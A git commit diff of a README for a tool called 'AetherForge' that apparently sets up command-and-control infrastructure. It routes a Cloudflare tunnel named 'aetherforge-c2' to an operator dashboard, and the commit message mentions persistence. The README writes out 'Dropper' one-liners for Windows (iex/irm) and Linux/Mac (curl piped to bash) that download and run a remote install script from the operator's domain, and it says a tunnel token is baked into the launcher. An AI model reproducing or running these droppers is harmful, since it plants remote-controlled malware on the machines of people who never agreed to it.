Improve portable launch, forge persistence, and operator auth UX.
Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.
This commit is contained in:
@@ -1,45 +1,22 @@
|
||||
========================================================
|
||||
AetherForge — Cloudflare Tunnel One-Time Setup
|
||||
Target hostname: killa.thetempleofdoom.com
|
||||
AetherForge — Cloudflare Tunnel
|
||||
https://killa.thetempleofdoom.com
|
||||
========================================================
|
||||
|
||||
You only do this ONCE on any machine that has cloudflared.
|
||||
After that, drop credentials.json in this folder and the
|
||||
USB launcher handles everything automatically forever.
|
||||
NO SETUP REQUIRED.
|
||||
|
||||
STEP 1 — Install cloudflared
|
||||
Run LAUNCH.bat once — it will install cloudflared
|
||||
from the bundled MSI automatically.
|
||||
OR: msiexec /i cloudflared-windows-amd64.msi
|
||||
The tunnel token is baked into LAUNCH.bat. On first run it will:
|
||||
1. Install cloudflared from cloudflared-windows-amd64.msi (if needed)
|
||||
2. Register the cloudflared Windows service with your token
|
||||
3. Start the service — tunnel points at localhost:8989
|
||||
|
||||
STEP 2 — Authenticate with your Cloudflare account
|
||||
cloudflared tunnel login
|
||||
(Opens browser — log in, select thetempleofdoom.com)
|
||||
This saves a cert.pem to %USERPROFILE%\.cloudflared\
|
||||
Just double-click LAUNCH.bat in the parent folder (Run as Administrator
|
||||
once if service install fails).
|
||||
|
||||
STEP 3 — Create the named tunnel
|
||||
cloudflared tunnel create aetherforge-c2
|
||||
Note the Tunnel ID printed (UUID format).
|
||||
After that:
|
||||
Dashboard: https://killa.thetempleofdoom.com
|
||||
Dropper: iex (irm 'https://killa.thetempleofdoom.com/install.ps1')
|
||||
|
||||
STEP 4 — Route your subdomain to the tunnel
|
||||
cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com
|
||||
(Adds CNAME: killa -> <tunnel-id>.cfargotunnel.com in your CF DNS)
|
||||
|
||||
STEP 5 — Copy credentials to this USB folder
|
||||
The credentials JSON is at:
|
||||
%USERPROFILE%\.cloudflared\<tunnel-id>.json
|
||||
Copy it to this folder, overwriting credentials.json:
|
||||
copy %USERPROFILE%\.cloudflared\<tunnel-id>.json cloudflare\credentials.json
|
||||
|
||||
STEP 6 — Done
|
||||
From now on LAUNCH.bat detects the credentials, writes a
|
||||
fresh config.yml automatically, and starts the tunnel.
|
||||
The tunnel always connects to 127.0.0.1:8989 (localhost)
|
||||
regardless of which network the machine is on.
|
||||
credentials.json is NOT used — ignore the placeholder file if present.
|
||||
|
||||
========================================================
|
||||
Tunnel URL after setup: https://killa.thetempleofdoom.com
|
||||
Dashboard: https://killa.thetempleofdoom.com
|
||||
Dropper (Windows): iex (irm 'https://killa.thetempleofdoom.com/install.ps1')
|
||||
Dropper (Linux/Mac): curl -sL https://killa.thetempleofdoom.com/install.sh | bash
|
||||
========================================================
|
||||
|
||||
Reference in New Issue
Block a user